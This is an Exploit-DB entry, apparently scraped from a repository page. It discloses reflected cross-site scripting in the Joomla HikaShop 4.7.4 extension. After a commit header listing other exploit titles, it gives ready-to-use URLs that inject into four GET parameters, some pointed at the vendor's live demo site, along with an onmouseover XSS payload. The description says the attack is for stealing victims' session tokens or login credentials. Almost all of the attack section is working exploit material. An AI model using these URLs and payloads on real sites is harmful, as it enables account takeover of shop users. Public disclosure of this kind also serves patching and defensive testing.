c18d9953a2
22 changes to exploits/shellcodes/ghdb Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities Availability Booking Calendar v1.0 - Multiple Cross-site scripting (XSS) Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities Joomla HikaShop 4.7.4 - Reflected XSS Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS mooDating 1.2 - Reflected Cross-site scripting (XSS) October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated) PaulPrinting CMS - (Search Delivery) Cross Site Scripting Perch v3.2 - Persistent Cross Site Scripting (XSS) RosarioSIS 10.8.4 - CSV Injection WordPress Plugin AN_Gradebook 5.0.1 - SQLi Zomplog 3.9 - Cross-site scripting (XSS) zomplog 3.9 - Remote Code Execution (RCE) copyparty 1.8.2 - Directory Traversal copyparty v1.8.6 - Reflected Cross Site Scripting (XSS) GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution mRemoteNG v1.77.3.1784-NB - Cleartext Storage of Sensitive Information in Memory Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
60 lines
No EOL
1.9 KiB
Text
60 lines
No EOL
1.9 KiB
Text
# Exploit Title: Joomla HikaShop 4.7.4 - Reflected XSS
|
|
# Exploit Author: CraCkEr
|
|
# Date: 24/07/2023
|
|
# Vendor: Hikari Software Team
|
|
# Vendor Homepage: https://www.hikashop.com/
|
|
# Software Link: https://demo.hikashop.com/index.php/en/
|
|
# Joomla Extension Link: https://extensions.joomla.org/extension/e-commerce/shopping-cart/hikashop/
|
|
# Version: 4.7.4
|
|
# Tested on: Windows 10 Pro
|
|
# Impact: Manipulate the content of the site
|
|
|
|
|
|
|
|
## Greetings
|
|
|
|
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
|
|
CryptoJob (Twitter) twitter.com/0x0CryptoJob
|
|
|
|
|
|
|
|
## Description
|
|
|
|
The attacker can send to victim a link containing a malicious URL in an email or instant message
|
|
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
|
|
|
|
|
|
|
|
Path: /index.php
|
|
|
|
GET parameter 'from_option' is vulnerable to RXSS
|
|
|
|
https://website/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=[XSS]&from_ctrl=product&from_task=listing&from_itemid=103
|
|
|
|
|
|
Path: /index.php
|
|
|
|
GET parameter 'from_ctrl' is vulnerable to RXSS
|
|
|
|
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=[XSS]&from_task=listing&from_itemid=103
|
|
|
|
|
|
Path: /index.php
|
|
|
|
GET parameter 'from_task' is vulnerable to RXSS
|
|
|
|
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=[XSS]&from_itemid=103
|
|
|
|
|
|
Path: /index.php
|
|
|
|
GET parameter 'from_itemid' is vulnerable to RXSS
|
|
|
|
https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=listing&from_itemid=[XSS]
|
|
|
|
|
|
[XSS Payload]: uhqum"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"wcn46
|
|
|
|
|
|
|
|
[-] Done |